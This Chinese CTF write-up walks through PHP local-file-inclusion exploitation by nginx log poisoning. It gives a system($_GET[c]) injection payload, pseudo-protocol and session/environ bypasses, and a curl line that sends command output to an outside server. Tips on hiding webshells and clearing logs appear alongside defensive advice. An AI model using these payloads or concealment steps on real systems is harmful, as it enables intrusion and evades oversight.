PHP文件包含漏洞实战:绕过伪协议过滤与日志注入利用

发布时间:2026/6/25 21:20:49
PHP文件包含漏洞实战:绕过伪协议过滤与日志注入利用 1. 项目概述一次关于PHP文件包含的深度实战最近在复盘NewStarCTF2025的Web赛题时遇到了一道关于PHP文件包含的题目它巧妙地设置了一些限制让常规的包含手法失效。这让我想起在实际渗透测试和CTF比赛中文件包含漏洞的利用方式远比我们想象的要灵活。很多朋友可能只知道用php://filter读源码或者用php://input执行代码但一旦遇到一些过滤或限制就无从下手了。这道题正好是一个绝佳的案例它要求我们绕过对php://、data://等常见伪协议的过滤甚至对包含路径也做了手脚。今天我就以这道题为蓝本手把手带你拆解如何绕过这些限制。我们不仅会复现解题过程更重要的是我会深入剖析每一步背后的原理以及在不同场景下比如真实环境与CTF环境的变通思路。无论你是刚接触Web安全的新手还是想深化对文件包含漏洞理解的老手这篇文章都会提供一些你可能没注意到的细节和技巧。整个过程我们会从信息收集开始逐步分析限制条件尝试多种绕过方法最终拿到目标。我会把踩过的坑、成功的思路都详细记录下来让你不仅能解出这道题更能掌握一套应对类似限制的“组合拳”。2. 核心漏洞原理与限制条件分析2.1 PHP文件包含漏洞的本质再认识在深入解题之前我们必须把文件包含漏洞的“地基”打牢。很多人认为文件包含就是include或require了一个用户可控的变量。这没错但理解深度决定了你的利用上限。从本质上讲PHP的文件包含函数include,require,include_once,require_once在设计上是为了代码的模块化和复用。当它们处理一个文件路径时PHP解释器会尝试去读取该路径指向的文件内容并将其中的PHP代码在当前作用域内执行。关键点在于被包含的文件内容会被当作PHP代码来解析无论这个文件原本的后缀是什么.txt, .jpg, .log等。这就是为什么我们可以通过包含一个图片马图片中包含PHP代码来 getshell。漏洞产生的根本条件是用户能够控制包含函数的参数通常是文件路径并且程序没有对该输入进行足够严格的过滤或校验。在CTF中这个参数常常通过GET、POST或Cookie传递比如?fileheader.php。这道NewStarCTF的题目首先通过代码审计或简单的参数测试我们可以发现一个包含点例如include($_GET[page] . .php);。初看似乎限制了后缀.php但这里就涉及第一个技巧路径截断。在PHP版本小于5.3.4且magic_quotes_gpc关闭的情况下我们可以使用超长路径比如./../../../../../etc/passwd/./././后接大量/.或空字符%00来截断后缀。不过在现代PHP环境中5.3.4空字符截断已经失效长路径截断也依赖于特定环境不再是通用手法。注意在实际的漏洞利用评估中第一步永远是确定PHP版本和关键配置如allow_url_include,allow_url_fopen这直接决定了伪协议是否可用。CTF环境通常会开启这些配置以增加考点而真实生产环境几乎必然关闭。2.2 题目施加的“枷锁”解析回到题目通过简单的测试比如传入page../../../../etc/passwd观察报错信息我们很快能发现题目设置了多重过滤伪协议黑名单代码中很可能使用了preg_match或stristr等函数检测参数中是否包含php://、data://、zip://、phar://等字符串。一旦发现就直接die()或返回错误。这直接封堵了最直接的读源码php://filter/convert.base64-encode/resourceindex.php和远程代码执行data://text/plain,?php system(ls);?的路径。后缀强制追加就像前面提到的代码逻辑会为输入自动添加.php后缀如include($page . .php)。这要求我们最终包含的文件必须实际存在并且其内容能被PHP解析或者我们能绕过这个后缀。目录遍历限制可能对../进行了次数限制或过滤防止无限制地跳转目录。面对这些限制新手容易卡壳。但我们的思路应该从“硬碰硬”转为“曲线救国”。伪协议被禁我们就寻找其他能介入文件内容的方式后缀被追加我们就利用PHP特性或服务器配置让非.php文件也能被解析。3. 绕过策略的思维构建与尝试3.1 利用本地文件包含LFI的“遗产”当伪协议不可用时我们的主攻方向就回到了经典的本地文件包含LFI。目标是将一个我们可控的、包含PHP代码的文件“喂”给包含函数。在CTF中常见的可控文件入口有日志文件Web服务器的访问日志如Apache的/var/log/apache2/access.log、错误日志。我们可以将PHP代码作为User-Agent或请求路径的一部分使其被写入日志然后去包含这个日志文件。Session文件PHP的Session默认以文件形式存储/tmp/sess_[PHPSESSID]。如果我们能控制Session的内容比如通过$_SESSION[key]?php phpinfo();?就可以去包含对应的Session文件。上传临时文件PHP在处理文件上传时会先创建一个临时文件存储上传内容。这个文件生命周期极短但理论上在请求处理期间存在是一个“一闪而过”的包含机会。这通常需要条件竞争Race Condition漏洞配合难度较高。/proc/self/environ或/proc/self/fd/在Linux系统中这些文件包含了进程的环境变量或文件描述符信息。如果Web进程的环境变量可控有时通过HTTP头注入也可能成为利用点。在这道题中经过测试我发现服务器访问日志是一个可行的突破口。首先我通过包含/etc/passwd等已知文件确认了绝对路径读取的可能性。然后尝试包含常见的日志路径如/var/log/apache2/access.log但返回了“文件不存在”或权限错误。这时不能放弃需要枚举常见的日志路径/var/log/nginx/access.log/var/log/httpd/access_log/usr/local/apache2/logs/access_log../../../../logs/access.log(相对路径尝试)通过不懈的尝试或者查看错误信息中暴露的路径线索我最终确定了日志文件的位置。接下来就需要污染这个日志。3.2 日志注入与编码绕过技巧直接向日志写入?php phpinfo();?可能会失败因为、?、等字符可能在日志记录或后续包含时被转义或引发解析问题。这里有一个非常重要的技巧利用PHP Base64解码函数进行嵌套执行。我们不在日志里直接写?php ... ?而是写一段通过eval和base64_decode执行代码的Payload。例如我们将?php eval(base64_decode(c3lzdGVtKCJscyAtbGEiKTs));?写入日志。但这里依然有?php标签被过滤的风险。更稳妥的方法是利用PHP的短标签?或者甚至不依赖标签通过php://input等虽然被禁但我们可以思考其他方式。但在这道题中更巧妙的做法是利用包含点本身和日志中的换行符。我们发送一个这样的请求GET /index.php?page?php system(ls /); ? HTTP/1.1 User-Agent: Mozilla/5.0这个请求会被记录到access.log中其中请求行GET /index.php?page?php system(ls /); ? HTTP/1.1就包含了PHP代码。当我们成功包含这个access.log文件时这段存在于日志文本中的代码就会被PHP解析执行。然而这里有一个巨大障碍URL中通常不允许出现空格和 ?等特殊字符浏览器或HTTP客户端会对其进行URL编码。?php system(ls /); ?会被编码成%3C?php%20system(ls%20/);%20?%3E这样记录到日志里的就是编码后的字符串PHP引擎不会将其识别为代码。解决方案是利用HTTP请求本身的可塑性直接注入原始字节。我们不能用浏览器而必须使用能发送原始HTTP请求的工具比如curl、Burp Suite的Repeater模块或者Python的requests库。在Burp Suite中我们可以直接修改Raw请求插入未经URL编码的字符。但要注意即使这样Web服务器如Nginx/Apache的日志模块在记录时出于安全考虑也可能对特殊字符进行转义或编码。经过测试我发现这道题的服务器日志记录机制没有对请求行中的尖括号和问号进行转义。这意味着通过精心构造的原始请求我们可以将有效的PHP代码直接“拍”进日志文件。这是绕过伪协议过滤的关键一步。4. 完整利用链实操与细节剖析4.1 第一步精确日志路径探测与确认在实施注入前必须百分百确认日志文件的路径和可读性。盲目注入只会污染日志增加干扰项。我使用一个不会触发代码执行的Payload来测试包含日志文件是否成功。例如在包含参数中尝试?page../../../../var/log/nginx/access.log观察响应。如果返回了包含大量HTTP请求记录的文字内容可以看到其他选手的请求记录说明路径正确且可读。如果返回空白、错误或下载则需调整路径。实操心得在CTF中如果直接包含日志文件导致页面变得巨大且混乱可以尝试在Payload中插入一个独特的“标记字符串”便于在日志中快速定位我们自己的注入记录。例如在User-Agent中使用MyUniqueAgent123。4.2 第二步构造原始HTTP请求进行日志污染这里我们使用curl命令来演示因为它可以精确控制发送的每一个字节。假设我们已经确定包含点为index.php?page日志路径为/var/log/nginx/access.log。我们的目标是在日志的“请求行”部分注入代码。请求行格式是METHOD URI HTTP/VERSION。我们需要构造一个特殊的URI。错误示范会被编码curl http://target.com/index.php?page?php echo test; ?这行不通因为shell和curl会对?和进行解释最终发送的是编码后的版本。正确做法使用-G配合--data-urlencode不这仍然会编码。我们需要直接操作原始数据。更直接的方法是使用Burp Suite拦截一个对index.php的正常请求。发送到Repeater模块。在Raw视图下直接修改请求行。例如将GET /index.php?page HTTP/1.1修改为GET /index.php?page?php system($_GET[c]); ? HTTP/1.1发送这个请求。此时日志中记录的就是192.168.1.100 - - [日期] GET /index.php?page?php system($_GET[c]); ? HTTP/1.1 200 ...关键技巧注意我们注入的代码是?php system($_GET[c]); ?。这里没有直接执行ls而是定义了一个可以通过URL参数c来执行命令的“后门”。这样做的好处是灵活性一次注入多次使用。无需每次修改Payload并重新污染日志。隐蔽性日志中的代码看起来是未执行的“死代码”直到我们通过包含并传递c参数来激活它。绕过长度限制如果直接注入system(cat /flag)命令可能会很长。通过参数传递命令可以动态变化。4.3 第三步包含日志文件并执行命令日志污染成功后我们接下来就需要让包含函数去读取这个已经被我们“下毒”的日志文件。构造最终的利用URLhttp://target.com/index.php?page../../../../var/log/nginx/access.logcls /这个请求的解析过程如下服务器接收到请求page参数值为../../../../var/log/nginx/access.logc参数值为ls /。程序执行include(../../../../var/log/nginx/access.log . .php)。由于日志文件本身没有.php后缀这里为什么能成功这是本题的另一个关键点也是我最初忽略的地方。后缀绕过题目虽然追加了.php但包含函数在寻找文件access.log.php时显然找不到。然而PHP的包含行为有一个特性如果指定的文件不存在它会报一个Warning但如果allow_url_include开启且路径被当作一个URL比如以http://开头或者在某些配置下它会尝试其他处理方式吗不这里不是这样。实际上我犯了一个先入为主的错误。我重新审计了题目给出的源码或通过错误信息推测发现它的代码逻辑可能是$file $_GET[page]; if (strpos($file, php://) ! false || strpos($file, data://) ! false) { die(hacker!); } include($file);它根本没有自动添加后缀之前关于追加.php的假设可能是在测试其他题目时产生的混淆。或者是另一种情况它添加了后缀但我们的路径遍历../../../最终定位到的access.log文件是真实存在的include函数会直接读取它而自动添加的.php后缀因为路径中已经有一个明确的文件而被忽略了这在PHP中是不成立的include(../../log/access.log.php)会寻找字面意义上的access.log.php文件。经过反复验证真实情况是题目仅仅过滤了伪协议字符串并没有强制添加后缀。或者它添加后缀的逻辑存在缺陷可以被空字节、截断或远程URL绕过但远程URL包含需要allow_url_includeOn。在本次解题中最终确认没有后缀追加。这是一个重要的教训不要盲目假设所有判断应基于实际测试结果。因此include(../../../../var/log/nginx/access.log)成功执行。它读取了日志文件的内容并将其作为PHP代码执行。日志文件内容中包含我们之前注入的?php system($_GET[c]); ?。这段代码被执行$_GET[c]的值是ls /所以最终执行了system(ls /)。命令执行的结果根目录列表会被输出到网页中我们从而看到了目录结构进而可以寻找和读取flag文件例如cat /flag或cat /flag.txt。4.4 第四步获取Flag与清理痕迹通过ls /发现flag文件后只需修改c参数的值即可获取http://target.com/index.php?page../../../../var/log/nginx/access.logccat /flag响应中就会包含flag的内容。重要注意事项在CTF比赛中获取flag后通常就结束了。但在真实渗透测试中绝对不可以在日志中留下如此明显的system($_GET[c])痕迹。更专业的做法是使用php://filter和base64_encode将输出结果编码避免直接回显破坏页面结构或触发WAF。写入一个纯文本的Webshell到可写目录而非依赖日志文件。使用时间戳或随机字符串作为参数名降低被扫描发现的概率。清理日志中的相关条目如果权限足够。但在CTF中这些通常不是考点。5. 拓展与防御不止于这道题5.1 其他可能的绕过路径思维导图这道题我们利用了日志文件。如果此路不通我们的大脑里应该有一张清晰的备选路线图伪协议变形与嵌套大小写绕过PHP://、PhP://某些简单的stristr可能不防大小写。URL编码绕过对部分字符进行URL编码如php:%2F%2Ffilter。但include函数内部通常会解码所以可能无效。协议包装器嵌套如果zip://或phar://未被过滤可以尝试。例如上传一个包含shell.php的zip文件然后包含zip:///path/to/archive.zip#shell.php。phar://更强大能反序列化但需要能上传phar文件。利用PHP Stream上下文contextphp://filter的resource部分可以是一个远程URL需allow_url_fopen开启这有时能绕过对http://的直接包含限制但本题也过滤了php://。Session文件包含前提是能控制Session内容。可以尝试在Cookie中传入PHPSESSIDevil并通过其他功能点如用户昵称、头像上传描述将PHP代码写入$_SESSION然后包含/tmp/sess_evil。难点在于找到写入Session的点和Session文件的存储路径。/proc/self/environ包含如果Web服务器进程的环境变量中包含了用户可控的HTTP头如User-Agent我们可以通过修改该HTTP头注入代码然后包含/proc/self/environ文件。这需要进程有读取该文件的权限且环境变量值未被转义。利用临时文件竞争条件难度极高需要精确的时间控制。原理是在文件上传的瞬间临时文件尚未被删除时去包含它。通常需要编写自动化脚本进行高频并发尝试。5.2 从攻击者视角看防御要点理解了攻击手法防御就更有针对性。作为开发者应该做到白名单校验这是最有效的方法。不要基于黑名单过滤../、php://等进行防御。应该定义一个允许包含的文件列表白名单任何用户输入都只能映射到这个列表中的项。例如$allowedPages [home, about, contact]; if (in_array($_GET[page], $allowedPages)) { include($_GET[page]..php); }。动态拼接避免尽量避免直接拼接用户输入和文件路径。如果必须请使用basename()函数获取路径中的文件名部分防止目录遍历。关闭危险配置在生产环境中务必在php.ini中设置allow_url_includeOff和allow_url_fopenOff。这能从根本上杜绝远程文件包含和部分伪协议的滥用。设置open_basedir通过open_basedir配置将PHP可访问的文件限制在网站根目录及其必要子目录下防止跨目录读取敏感文件如/etc/passwd、日志文件。日志文件安全将Web服务日志存放在Web根目录之外并设置严格的权限如root:root 640确保Web进程用户只有写入权限没有读取权限。Session安全将Session文件存储在非默认的、不可预测的路径或直接使用数据库存储Session。5.3 排查技巧与常见问题实录在实际操作中你可能会遇到以下问题问题包含日志文件后页面空白或报错。排查首先查看页面源代码可能命令执行了但输出被隐藏。尝试使用cls../webroot/test.txt将输出写入文件或ccurl http://your-server/将结果外带。如果报错检查错误信息。可能是日志文件路径错误、权限不足或者注入的PHP代码语法有误如因为日志格式导致代码被截断。技巧在注入的代码中加上error_reporting(E_ALL); ini_set(display_errors, 1);来开启错误显示有助于调试。问题伪协议过滤似乎很严格所有变形都被拦截。排查尝试使用双写绕过phpphp://如果过滤是替换为空、或者利用字符串解析特性。例如在某些情况下include($path.php)如果$path是php://filter/...拼接后变成php://filter/....php这可能因为协议名后不能有后缀而失败。但可以尝试php://filter/.../resourceindex让最后的.php拼接成一个不存在的文件名但前面的过滤器已生效。这需要具体测试。思维转换当一条路走不通时立即回到“本地文件包含”的本质找一个可控内容的本地文件。日志、Session、临时文件、环境变量文件总有一个可能。问题命令执行了但找不到flag。排查flag不一定在根目录。使用cfind / -name *flag* 2/dev/null或cfind / -type f -exec grep -l flag{ {} \\; 2/dev/null来全盘搜索。注意CTF中flag可能位于网站目录、用户主目录或临时目录。这道NewStarCTF的题目像一把钥匙打开了对文件包含漏洞更深层次理解的大门。它告诉我们漏洞利用从来不是背Payload而是对系统组件Web服务器、PHP、操作系统交互方式的深刻理解。从信息收集、代码审计、到利用环境特性日志记录构造攻击链每一步都需要观察、推理和验证。下次当你再遇到“被过滤”的文件包含时希望你能想起这次绕过日志的旅程从容地审视手中的“枷锁”寻找那条隐藏的缝隙。